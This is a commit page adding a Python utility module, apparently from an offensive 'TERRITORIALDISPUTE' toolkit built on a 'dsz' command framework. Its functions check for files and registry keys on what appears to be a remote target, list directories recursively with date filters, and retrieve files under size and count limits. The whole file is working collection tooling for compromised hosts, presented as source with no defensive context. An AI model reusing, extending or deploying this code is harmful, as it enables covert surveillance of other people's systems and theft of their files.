This commit is contained in:
commit
bc8ff5f44a
6520 changed files with 426985 additions and 0 deletions
137
windows/Resources/TeDi/PyScripts/utils.py
Normal file
137
windows/Resources/TeDi/PyScripts/utils.py
Normal file
|
@ -0,0 +1,137 @@
|
|||
|
||||
import dsz.cmd
|
||||
import re
|
||||
import time
|
||||
import getutils
|
||||
import datastore
|
||||
from util.DSZPyLogger import getLogger
|
||||
import os.path
|
||||
tedilog = getLogger('TERRITORIALDISPUTE')
|
||||
|
||||
def path_normalize(path):
|
||||
try:
|
||||
path = re.sub('%(.+)%', (lambda m: ('%{0}%'.format(m.group(1)) if (m.group(1) not in datastore.ENV_VARS) else datastore.ENV_VARS[m.group(1)])), path)
|
||||
except:
|
||||
tedilog.error('There was an error trying to parse the path for environment variables.', exc_info=True)
|
||||
return path
|
||||
|
||||
def file_exists(path, name):
|
||||
path = path_normalize(path)
|
||||
cmd = (u'fileattributes -file "%s\\%s"' % (path, name))
|
||||
(cmdStatus, cmdId) = dsz.cmd.RunEx(cmd.encode('utf8'), dsz.RUN_FLAG_RECORD)
|
||||
if cmdStatus:
|
||||
[attrib_value] = dsz.cmd.data.Get('file::attributes::value', dsz.TYPE_INT, cmdId)
|
||||
if (attrib_value > 0):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
|
||||
def reg_exists(hive, key, value=None, recurse=False):
|
||||
cmd = (u'registryquery -hive %s -key "%s"' % (hive, key))
|
||||
if (value is not None):
|
||||
cmd = (cmd + (u' -value "%s"' % value))
|
||||
if recurse:
|
||||
cmd = (cmd + u' -recursive')
|
||||
cmdStatus = dsz.cmd.RunEx(cmd.encode('utf8'), 0)[0]
|
||||
if cmdStatus:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def file_exists_recursive(name, path=None):
|
||||
if (path is None):
|
||||
cmd = ('dir -mask "%s" -recursive' % name)
|
||||
else:
|
||||
path = path_normalize(path)
|
||||
cmd = ('dir -path "%s" -mask "%s" -recursive' % (path.strip('\\'), name))
|
||||
dsz.control.Method()
|
||||
dsz.control.echo.Off()
|
||||
if (not dsz.cmd.Run(cmd, dsz.RUN_FLAG_RECORD)):
|
||||
return False
|
||||
else:
|
||||
try:
|
||||
return (dsz.cmd.data.Size('DirItem::FileItem') > 0)
|
||||
except:
|
||||
return False
|
||||
|
||||
def dirlist(targetmask, targetpath, after=None, before=None, age=None, timetype='modified', individual=False, recursive=False, background=False):
|
||||
if ((targetpath == None) or (targetmask == None)):
|
||||
print 'Must provide a path and a mask'
|
||||
return False
|
||||
if ((age is not None) and ((before is not None) or (after is not None))):
|
||||
print 'Can not declare an age with before or after statements'
|
||||
return False
|
||||
if before:
|
||||
if (not re.match('\\d{4}\\-\\d{2}\\-\\d{2}$', before)):
|
||||
print 'Before statement must be in the YYYY-MM-DD Format'
|
||||
return False
|
||||
if after:
|
||||
if (not re.match('\\d{4}\\-\\d{2}\\-\\d{2}$', after)):
|
||||
print 'After statement must be in the YYYY-MM-DD Format'
|
||||
return False
|
||||
if (before and after):
|
||||
t1 = time.strptime(('%s' % before), '%Y-%m-%d')
|
||||
t2 = time.strptime(('%s' % after), '%Y-%m-%d')
|
||||
if (time.mktime(t1) > time.mktime(t2)):
|
||||
print 'Before date is greater than after date provided'
|
||||
return False
|
||||
if (not re.match('modified|accessed|created', timetype)):
|
||||
print 'Time must be set to accessed|created|modified'
|
||||
return False
|
||||
targetpath = path_normalize(targetpath)
|
||||
totalSize = 0
|
||||
filesToGet = []
|
||||
dircmd = ('dir -mask "%s" -path "%s" -max 0' % (targetmask, targetpath))
|
||||
if age:
|
||||
dircmd += (' -age %s' % str(age))
|
||||
if before:
|
||||
dircmd += (' -before %s' % str(before))
|
||||
if after:
|
||||
dircmd += (' -after %s' % str(after))
|
||||
if time:
|
||||
dircmd += (' -time %s' % timetype)
|
||||
if (recursive is True):
|
||||
dircmd += ' -recursive'
|
||||
dsz.control.echo.Off()
|
||||
dsz.cmd.Run(dircmd, dsz.RUN_FLAG_RECORD)
|
||||
dsz.control.echo.On()
|
||||
for diritem in dsz.cmd.data.Get('DirItem', dsz.TYPE_OBJECT):
|
||||
[dirName] = dsz.cmd.data.ObjectGet(diritem, 'path', dsz.TYPE_STRING)
|
||||
for fileitem in dsz.cmd.data.ObjectGet(diritem, 'FileItem', dsz.TYPE_OBJECT):
|
||||
[fileName] = dsz.cmd.data.ObjectGet(fileitem, 'name', dsz.TYPE_STRING)
|
||||
[fileTime] = dsz.cmd.data.ObjectGet(fileitem, ('filetimes::%s::time' % timetype), dsz.TYPE_STRING)
|
||||
fullPath = os.path.join(dirName, fileName)
|
||||
[isDir] = dsz.cmd.data.ObjectGet(fileitem, 'attributes::directory', dsz.TYPE_BOOL)
|
||||
if (not isDir):
|
||||
[size] = dsz.cmd.data.ObjectGet(fileitem, 'size', dsz.TYPE_INT)
|
||||
filesToGet.append((fullPath, fileTime, size))
|
||||
totalSize += size
|
||||
return (filesToGet, totalSize)
|
||||
|
||||
def limitedget(path, name, maxfilesize=None, maxtotalsize=None, maxfiles=None, recursive=False, **kwargs):
|
||||
path = path_normalize(path)
|
||||
print ('limitedgetting %s' % os.path.join(path, name))
|
||||
(filestoget, totalsize) = dirlist(name, path, background=True, **kwargs)
|
||||
filestoget.sort(key=(lambda x: x[1]))
|
||||
if ((maxtotalsize is not None) or (maxfilesize is not None)):
|
||||
tmptotalsize = 0
|
||||
tmpfilestoget = []
|
||||
for ftup in filestoget:
|
||||
tmpfilesize = ftup[2]
|
||||
if ((maxfilesize is not None) and (tmpfilesize > maxfilesize)):
|
||||
print ('Skipping %s; Size (%db) exceeds limit of %db' % (ftup[0], tmpfilesize, maxfilesize))
|
||||
continue
|
||||
tmptotalsize += tmpfilesize
|
||||
if ((maxtotalsize is not None) and (tmptotalsize > maxtotalsize)):
|
||||
print ('Skipping %s; its file size (%db) would exceed the max total size. (Downloaded %db/%db).' % (ftup[0], tmpfilesize, tmptotalsize, maxtotalsize))
|
||||
tmptotalsize -= tmpfilesize
|
||||
continue
|
||||
tmpfilestoget.append(ftup)
|
||||
filestoget = tmpfilestoget
|
||||
if (maxfiles is not None):
|
||||
filestoget = filestoget[:maxfiles]
|
||||
for ftup in filestoget:
|
||||
filename = ftup[0]
|
||||
getutils.wrapget(filename, copygetmsg='[TERRITORIALDISPUTE] A file requires a copy get in order to get. Allow copyget?')
|
Loading…
Add table
Add a link
Reference in a new issue